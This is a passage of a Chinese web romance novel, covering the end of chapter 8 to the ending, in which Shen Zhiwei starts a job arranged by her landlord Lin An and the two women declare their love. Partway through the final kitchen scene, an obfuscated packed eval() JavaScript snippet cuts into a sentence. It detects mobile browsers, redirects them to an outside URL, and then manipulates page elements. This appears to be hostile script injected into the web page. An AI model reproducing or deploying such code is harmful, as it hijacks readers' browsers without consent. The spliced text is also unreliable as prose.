她看着林荌,看着林荌平静的脸,平静的眼睛,忽然觉得,心里某个地方,疼了一下。 “你……还喜欢她吗?”她问,声音小得几乎听不见。 林荌没回答。 她只是看着沈枝薇,看了很久。 然后,她说:“沈枝薇,有些问题,别问。” 沈枝薇的心,沉到了谷底。 “对不起。”她低下头,小声说。 林荌没说话,只是转过身,继续洗碗。 水流声重新响起,哗哗的,掩盖了所有的沉默。 沈枝薇站在原地,站了很久。 然后,她转身,走回房间,关上门。 她靠在门上,缓缓滑坐在地。 抱着膝盖,把脸埋进臂弯里。 心脏的位置,很疼。 很疼很疼。 她不知道自己在疼什么。 是在疼林荌的故事,还是在疼……别的什么。 她只知道,那个问题的答案,她可能永远也不会知道了。 下午一点半,沈枝薇换上了林荌借给她的那套西装。 她很仔细地化了妆,淡妆,但很精致。头发扎成低马尾,露出光洁的额头和纤细的脖颈。 她看着镜子里的自己。 米白色的西装,干净利落。妆容得体,表情平静。 看起来,像个能干的、独立的、不需要任何人帮助的职场女性。 但只有她自己知道,不是这样的。 她只是个披着华丽外衣的、内心一片荒芜的、失败者。 沈枝薇深吸一口气,拿起包,走出房间。 林荌在客厅,坐在沙发上,看平板电脑。听见声音,抬起头,目光在她身上停留了几秒。 然后,点头:“可以。” 沈枝薇走到玄关,换鞋。 “林荌。”她叫。 “嗯?” “我走了。” “嗯。”林荌没抬头,“路上小心。” 沈枝薇拉开门,走出去。 门关上。 林荌放下平板,抬起头,看着那扇关上的门,看了很久。 然后,她拿起手机,拨通了一个号码。 “喂,周总。”她说,声音平静,“我介绍的那个人,今天下午两点面试。对,沈枝薇。麻烦你多关照一下。” 电话那头说了什么,林荌笑了笑。 “没别的意思,就是觉得她挺合适的。”她说,“嗯,好,谢了。” 挂掉电话,她放下手机,靠在沙发上,闭上眼睛。 眼前浮现出沈枝薇穿着那套西装的样子。 米白色很衬她。 但林荌知道,那套西装,沈枝薇穿着有点大。肩膀宽了一点点,腰身松了一点点。 那是她三年前定做的。那时候,她比现在胖一点。 后来瘦了,衣服就没再穿过,一直挂在衣柜里。 没想到,今天会借给沈枝薇。 更没想到,沈枝薇穿上,会那么合适。 像量身定做的一样。 林荌睁开眼睛,看着天花板。 然后,她抬起手,捂住脸。 良久,一声很轻的叹息,从指缝里溢出来。 “沈枝薇。”她低声说,声音闷在手心里,“你别……” 9. 第 9 章 星辉传媒在CBD的一栋玻璃幕墙大楼里,占据了整整三层。沈枝薇站在二十五楼的电梯间,透过落地窗俯瞰脚下的城市,指尖无意识地收紧,在掌心掐出几个浅浅的月牙。 “沈小姐?”前台穿着职业套装的女孩微笑着问,“请问您找哪位?” “我……来面试。”沈枝薇努力让自己的声音听起来平稳,“和林荌姐介绍的,周总约了两点。” 女孩在电脑上查了查,笑容更热情了些:“是沈小姐啊,周总交代过了。请跟我来。” 穿过开放办公区,无数目光投射而来,有好奇,有打量,也有不以为然。 沈枝薇目不斜视,脊背挺得笔直,脚步却在心底默念林荌中午的叮嘱:“抬头,挺胸,别露怯。你穿的是我的衣服,代表的是我的脸面。” 那是一件米白色的羊毛混纺西装,剪裁利落,袖口有一道不起眼的同色线绣“LA”标记。今早换衣时发现这个细节,她的心跳竟漏了一拍。 周总的办公室在最深处,玻璃墙后百叶窗半开。一个穿黑色西装的女人正对着电脑敲击键盘,神情锐利。 “进来吧。”周总抬起头,目光在她身上扫视三秒,语气冷淡,“坐。林荌说你挺不错的。” 沈枝薇颔首落座:“周总好。” “简历我看了。”周总抽出纸张,眉头微蹙,“学历很漂亮,工作经验……为零。” 指尖再次掐紧掌心,沈枝薇神色不变:“但林荌说我学东西快,做事认真。” “我不太看简历,看人。”周总身体前倾,眼神像手术刀般精准,“看在林荌的面子上,给你个机会。行政助理,五千一个月,试用期三个月,转正六千。琐事多,压力大,经常加班,能不能干?” “能干。”沈枝薇毫不犹豫。 “why?”周总挑眉,“以你的学历,大可不必。” 沈枝薇直视她的眼睛,声音清晰而坚定:“因为我现在需要这份工作。学历是过去的勋章,我现在是从零开始。我不怕琐事,也不怕加班,我会用最短的时间掌握所有技能。” 周总盯着她看了良久,忽然笑了,那是一种带点玩味的、像是发现了璞玉的笑。 “行,明天九点来上班。人事会带你。”沈枝薇微怔。 “别高兴得太早。”周总收起笑容,语气重回冰冷,“在我这里,只有能力,没有情面。三个月试用期,做得好留,做不好走。林荌的面子,只有这一次。” “我明白,谢谢周总。”沈枝薇起身鞠躬,转身走出办公室。 门关上的那一刻,她靠在走廊墙壁上,长长吐出一口气。心脏依旧狂跳,手心全是汗,但那是紧张过后的松弛与庆幸。她做到了,得到了这份能立足的工作。 没有眼泪,只有如释重负的平静。她整理了一下西装,走向电梯,点开置顶的微信聊天框。 发送:“面试通过了,明天上班[耶]” 一楼大厅,阳光倾泻。沈枝薇没有直接回家,而是去了附近的商场。用昨天卖风衣的钱,买了两套休闲风格的通勤衬衫与低跟鞋,又买了一个能装A4纸的通勤包。 随后,她去了超市,买了排骨、土豆、青椒和葱姜蒜,还有一瓶可乐。 她要给林荌做可乐鸡翅。 回到林荌家是下午五点半。屋里安静,林荌不在。沈枝薇将东西归置好,系上围裙走进厨房。锅里的排骨咕嘟作响,香气弥漫开来。她看着窗外橘红色的夕阳,想起从前在沈家别墅露台上看日落的日子,那是无忧无虑的旧时光。 可乐鸡翅出锅,两菜一汤摆在桌上。她坐下来等,等到天彻底黑透,饭菜微凉,林荌也未归来。 手机屏幕暗着,她想发一句询问,却又缩回了手。此刻的身份是租客,不该越界。 她默默吃完晚饭,收拾干净厨房,回到房间打开台灯,摊开笔记本认真记录今日的入职要点。很累,但心里是踏实的。这是新生活的开始,她必须撑下去。 深夜,门锁传来响动。林荌回来了,换了一身黑色丝绸衬衫,脸色苍白,眼下带着青黑。 沈枝薇起身走出房间,在她对面坐下。 “好吃吗?”她小声问。 “嗯。”林荌点头,夹了一块土豆,“排骨炖过头了,有点柴。” “下次注意。”沈枝薇低头记录。 林荌放下筷子,喝了口水:“去看了个老房子改造项目,想做民宿,消防不过关,要重新设计。” 聊了几句日常,林荌起身收拾碗筷。沈枝薇跟过去帮忙。 “林荌,今天谢谢你。西装和工作的事。” 林荌关掉水龙头,转过身靠在料理台上,语气平静无波:“不用谢,各取所需而已。” “各取所需?”沈枝薇的心沉了一下。 “嗯。”林荌看着她,“我需要一个懂事、能干、不惹事的租客。你需要一个住处和工作。很公平。” 这句话像一块石头压在心头,但沈枝薇没有失态。她点点头,声音依旧温和:“我明白了。那我不打扰你了。” 转身欲走时,林荌叫住她:“明天九点,别迟到。周静最讨厌迟到。” 沈枝薇应了一声,回到房间。关上门,她靠在门板上,心口确实酸涩,但理智告诉她,林荌说得没错。成年人的世界,本就是等价交换。 次日清晨,沈枝薇精神饱满地出现在星辉传媒。她换上新买的通勤装,化了淡妆,从容自信。入职手续办理顺利,同事热情地带她熟悉工作环境。 行政助理的工作琐碎而繁杂,文件处理、行程安排、会议协调,每一件事都需要细致严谨。沈枝薇不敢有丝毫懈怠,她认真记录每一个流程,虚心向同事请教,下班后人走得最晚,把当天的工作复盘总结。 日子一天天过去,她逐渐上手,将各项事务打理得井井有条。周静对她的态度也慢慢改观,偶尔会交代她一些重要的辅助工作。 而在林荌家,两人依旧保持着以往的相处模式。沈枝薇做好早餐就出门,归来便待在自己房间,除非必要,极少与林荌交谈。 直到一周后,一个周五的傍晚,公司临时加班处理紧急项目。沈枝薇留在会议室整理方案,直到深夜才离开。 楼道里静悄悄的,只有她的脚步声回响。走到电梯口,却发现电梯故障停运,只能走楼梯。 夜色深沉,写字楼内几乎无人。沈枝薇沿着楼梯往下走,走到二十层时,忽然听到前方传来争执声。 是周静的声音,带着压抑的怒火:“方案不行,时间来不及,你让我怎么跟甲方交代?” 另一个声音,低沉而熟悉:“我已经尽力了,消防改造涉及结构问题,不是改改图纸就能解决的。” 是林荌。 沈枝薇脚步一顿,悄悄隐在楼梯拐角的阴影里。 办公室的门虚掩着,灯光透出。林荌站在办公桌前,神情疲惫却坚定:“老房子的历史遗留问题复杂,强行通过验收是对安全不负责任。宁可推迟工期,也不能留下隐患。” 周静烦躁地踱步:“但甲方那边催得紧,下周就要签约了。” 林荌沉默片刻,从抽屉里拿出一份文件推过去:“这是我重新找的设计团队方案,调整了布局,既保留了老建筑特色,又符合消防规范。虽然会增加成本,但能通过验收。” 周静拿起文件翻看,眉头渐渐舒展:“你早干嘛去了?” “昨天才熬夜改完。”林荌揉了揉眉心,眼底布满红血丝,“我不想因为这个项目砸了星辉的招牌。” 争执平息,周静离开时,看林荌的眼神多了几分复杂的欣赏。 林荌独自坐在办公桌前,伏案小憩。桌上散落着各种图纸和文件,灯光将她的身影拉得很长。 沈枝薇站在阴影里,看了很久。 她没有上前打扰,轻轻转身,继续下楼。 回到家,已是凌晨一点。林荌房间的灯还亮着。沈枝薇犹豫了一下,走到厨房,温了一杯牛奶,轻轻敲响了林荌的门。 门开了,林荌眼中带着刚睡醒的迷茫。 “还没睡?” “看到你那边灯还亮着,温了杯牛奶给你。”沈枝薇将牛奶递过去,“早点休息吧,明天周末。” 林荌接过牛奶,指尖相触,传来短暂的温热。她看着沈枝薇清澈的眼睛,忽然笑了,那是一种卸下防备的、真切的笑意。 “谢谢。”她轻声说。 沈枝微微微颔首,转身回房。关上门,她靠在门板上,嘴角也不自觉地上扬。 沈枝薇在星辉传媒的第三个月,试用期最后一天,接到了父亲沈明诚从海外打来的越洋电话。 那时是晚上十点半,她刚加完班,站在公司楼下的便利店门口,一边啃三明治一边等车。手机震动,屏幕上跳出一串没有备注的号码,但沈枝薇只看了一眼,就知道是谁。 她盯着那串数字看了五秒,接起来。 “喂。” “微微。”沈明诚的声音有些沙哑,背景音里有模糊的机场广播,“你在哪里?” “公司楼下。”沈枝薇咬了一口三明治,语气平静,“有事?” 电话那头沉默了几秒。 “我下个月回国。”沈明诚说,“债务的事……有眉目了。律师在谈重组,如果顺利,半年内能解决。” 沈枝薇没说话,只是慢慢嚼着嘴里的食物。三明治是便利店最便宜的那种,火腿薄得像纸,生菜蔫巴巴的,但她吃得很认真。 “你妈妈……暂时不回来了。”沈明诚的声音低了下去,“她在那边治疗,情况稳定,但需要人照顾。我请了护工,但……” “知道了。”沈枝薇打断他,“还有事吗?” “微微……”沈明诚的声音哽了一下,“你……过得好吗?” 沈枝薇看着街对面的写字楼,那些窗户里还亮着不少灯。她想起三个月前,自己穿着十几块的开衫站在这里,茫然无措,连便利店最便宜的三明治都不敢买,怕花掉最后一点钱。 “挺好。”她说,声音很淡,“有工作,有住处,饿不死。” 沈明诚沉默了更长时间。 “那就好。”最后,他只说了这三个字,然后挂了电话。 沈枝薇把手机收起来,继续吃三明治。吃完最后一口,她把包装纸揉成一团,扔进垃圾桶,然后拿出手机,点开打车软件。 车还有三分钟到。 她站在原地,看着夜色中穿梭的车流,忽然想起林荌昨天说的话。 昨晚她加班到九点,回到家时林荌正在客厅看电影。是一部很老的法国片,黑白画面,台词晦涩。沈枝薇洗了澡出来,擦着头发坐在地毯上,靠着林荌的腿。 “好看吗?”她问。 “一般。”林荌说,手指无意识地卷着她的发梢,“但光影很好。” 沈枝薇抬头看她。屏幕的光在林荌脸上明明灭灭,她的侧脸在黑暗中显得很柔和,睫毛很长,垂下来时在眼下投出一小片阴影。 “林荌。”沈枝薇叫。 “嗯?” “如果……我是说如果,有一天我家的事解决了,我不用再为钱发愁了,你还会让我住在这里吗?” 林荌的手指停了一下。 然后,她低头看她,眼睛在黑暗中很亮。 “你想搬走?” “不想。”沈枝薇说得很干脆,“但我想知道,如果我想搬走,你会不会留我。” 林荌看了她几秒,然后转回头,继续看电影。 “不会。”她说,声音很平静,“你想走,我不会留。” 沈枝薇的心沉了一下。 “为什么?” “因为那是你的选择。”林荌说,手指又慢慢卷着她的头发,“沈枝薇,我教你做饭,帮你找工作,借你衣服,是因为你当时需要。但如果你不需要了,随时可以走。我不喜欢勉强,也不喜欢亏欠。” 沈枝薇沉默了。 良久,她问:“那你需要我吗?” 林荌没立刻回答。 电影里,男女主角在雨中分别,女人哭了,男人转身离开。黑白的画面,悲伤也显得克制。 “需要。”林荌终于说,声音很轻,“但如果你不需要我了,我的需要,不重要。” 车来了。 沈枝薇拉开车门坐进去,报了地址,然后靠在椅背上,闭上眼睛。 她想起林荌说“需要”时的语气。平静的,克制的,甚至带着点疏离。但她知道,那是林荌能给出的,最接近“喜欢”的答案。 三个月了。她们住在一起,一起吃饭,一起逛超市,偶尔一起看电影。林荌教她做更多的菜,教她怎么看合同,教她怎么应付难缠的客户。她会在沈枝薇加班时留一盏灯,会在她生理期时煮红糖姜茶,会在她做噩梦时安静地坐在床边,握着她的手直到天亮。 但她们从没谈过“喜欢”,从没谈过“未来”,从没谈过“我们”。 沈枝薇知道,林荌在等。等她站稳脚跟,等她不再需要“帮助”,等她做出选择。 而她,也在等。等自己足够强大,强大到可以平等地站在林荌面前,说“我喜欢你,不是因为需要,而是因为想和你在一起”。 车停在小区门口。沈枝薇付了钱,下车,走进单元楼。 电梯上行时,她看着镜子里那个穿着职业套装、妆容精致、眼神平静的女人。 三个月前的沈枝薇,会穿着八千块的开衫,用最柔软的声音说“林荌姐姐”。 现在的沈枝薇,会穿着几百块的衬衫,平静地说“林荌,我回来了”。 她变了。 但有些东西,没变。 比如,她很喜欢林荌。 很喜欢。 打开门,屋里亮着灯。 林荌坐在沙发上,膝盖上放着笔记本电脑,听见声音,抬起头。 “回来了。” “嗯。”沈枝薇换鞋,把包挂好,“还没睡?” “等你。”林荌合上电脑,站起来,“吃饭了吗?” “吃了三明治。” 林荌皱眉:“又吃那个?” “加班,没时间。”沈枝薇走到厨房,倒了杯水,“你呢?” “吃了。”林荌跟着走进厨房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375410|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,靠在料理台上,看着她喝水,“明天转正?” “嗯。”沈枝薇放下水杯,转身面对她,“周总今天找我谈话了,说下个月开始,工资七千,有项目奖金。” “恭喜。”林荌说,嘴角弯了一下,“出师了。” 沈枝薇笑笑,没说话。 空气安静了几秒。 “林荌。”沈枝薇开口。 “嗯?” “我爸今天给我打电话了。” 林荌的表情没什么变化,只是微微抬眉,示意她继续说。 “他说债务的事有眉目了,下个月回国。”沈枝薇说,语气平淡,“如果顺利,半年内能解决。” “好事。”林荌说。 “嗯。”沈枝薇点头,“好事。” 然后,她往前走了半步,站在林荌面前,仰起脸看她。 “林荌,如果我家的事解决了,我不用再为钱发愁了,你还会让我住在这里吗?” 和昨晚一样的问题。 但这次,沈枝薇的眼神很认真,很平静,像是在问一个很重要的工作决策。 林荌看着她,看了很久。 然后,她说:“你想住多久,就住多久。” “为什么?”沈枝薇追问,“昨晚你说,如果我想走,你不会留。” “是。”林荌点头,“但如果你想留,我也不会赶你走。” 沈枝薇的心跳快了一拍。 “那如果……”她顿了顿,声音低了下去,“如果我想留一辈子呢?” 空气突然安静了。 冰箱的低鸣,窗外隐约的车流声,都消失了。 只剩下两个人的呼吸声,和某种紧绷的、一触即发的东西,在空气里无声蔓延。 林荌的喉结滚动了一下。 “沈枝薇。”她叫她的名字,声音有点哑,“你知道你在说什么吗?” “知道。”沈枝薇说,眼睛一眨不眨地看着她,“林荌,我喜欢你。不是因为你帮我,不是因为我需要你,而是因为我喜欢你。我想和你在一起,想每天醒来看到你,想和你一起吃饭,一起逛超市,一起变老。这个答案,你满意吗?” 林荌的呼吸,停了一瞬。 然后,她笑了。 很轻的,带着点无奈的笑。 “沈枝薇,你真是……”她摇头,伸手,用指腹擦过沈枝薇的眼角,那里有一点湿,但她没哭,“你真是,总能让我无话可说。” “那就别说。”沈枝薇抓住她的手,紧紧握住,“林荌,你只需要告诉我,你喜欢我吗?” 林荌看着她,看着她的眼睛,看着她的固执,看着她眼底那点小心翼翼的期待。 然后,她低头,吻住了沈枝薇的嘴唇。 不是试探,不是温柔,而是一个带着侵略性的、不容拒绝的吻。她的手指插进沈枝薇的发间,另一只手环住她的腰,把她按在料理台上,加深这个吻。 沈枝薇愣了一下,然后闭上眼睛,伸手环住林荌的脖子,回应她。 很生涩,但很认真。 吻了很久,林荌才松开她,额头抵着她的额头,呼吸交缠。 “满意吗?”她问,声音低哑。 沈枝薇的脸红了,但眼睛很亮。 “不满意。”她说,声音有点抖,“你还没说。” 林荌又笑了,这次是真正的、带着暖意的笑。 “沈枝薇,我也喜欢你。”她说,每个字都咬得很清楚,“从你第一天搬进来,我就喜欢你。但我不敢说,因为我不想趁人之危。我在等,等你站稳脚跟,等你不再需要我,等你……自己走过来。” 沈枝薇的眼泪,毫无预兆地掉了下来。 “傻子。”她骂,但嘴角扬得高高的,“你知不知道,我等这句话,等了多久?” “多久?” “三个月。”沈枝薇说,眼泪不停地往下掉,“每一天,我都在想,你什么时候能说出来。林荌,你真能忍。” “嗯,我能忍。”林荌用指腹擦掉她的眼泪,“但忍不住了。沈枝薇,我认输。” 沈枝薇笑起来,踮起脚,在她唇上又亲了一下。 “奖励你的。”她说,然后退开一点,看着她,“那……我们现在,算什么关系?” “你说呢?”林荌挑眉。 “我说……”沈枝薇想了想,很认真地说,“我说,我们是恋人。要公开,要见朋友,要一起规划未来的那种。不接受地下情,不接受模棱两可,不接受‘试试看’。林荌,我要认真的。” 林荌看着她,看了很久。 然后,她点头:“好,认真的。” 沈枝薇的眼睛,一下子亮了。 像盛满了星星。 “那……”她拉住林荌的手,“我们去看电影吧。上次那部法国片,还没看完。” “好。”林荌任由她拉着,走到客厅。 电影继续播放。黑白画面,晦涩的台词,缓慢的节奏。 但这次,她们靠在一起,手牵着手。 沈枝薇的头靠在林荌肩上,轻声说:“林荌,我困了。” “睡吧。”林荌说,搂住她的肩膀。 “明天周六。” “嗯。” “我们去看房子吧。” 林荌的动作停了一下。 “看什么房子?” “你的民宿。”沈枝薇说,声音带着困意,“我想看看,你花了那么多心思改造的地方,是什么样子。” 林荌沉默了几秒,然后说:“好。” 沈枝薇笑笑,闭上眼睛。 电影还在放,但她已经睡着了。 林荌低头,看着她安静的睡颜,看了很久。 然后,她关掉电视,轻轻抱起她,走回房间,放在床上,盖好被子。 她坐在床边,看着沈枝薇的睡脸,忽然想起三个月前,沈枝薇第一天搬进来的样子。 穿着八千块的开衫,眼睛红红的,声音软软的,像个需要人保护的小兔子。 但现在,这个小兔子长大了。学会了做饭,学会了工作,学会了怎么在雨里站稳,学会了怎么直视别人的眼睛,说出“我喜欢你”。 也学会了,怎么爱一个人。 林荌俯身,在沈枝薇额头上轻轻吻了一下。 “晚安。”她低声说。 然后,她起身,关掉台灯,走出房间,轻轻带上门。 回到客厅,她拿起手机,点开微信,给周静发了条消息: “人我留下了。谢了。” 周静秒回:“早就该这样。对了,下个月我生日,带她来。” 林荌:“好。” 然后,她放下手机,走到阳台。 夜风很凉,但空气很清新。远处CBD的灯光依旧璀璨,像一片倒置的星河。 林荌靠在栏杆上,看着那片灯光,看了很久。 然后,她笑了。 很轻的,很真实的,从心底漫上来的笑。 “沈枝薇。”她对着夜空,低声说,“这辈子,就你了。” ——全文完——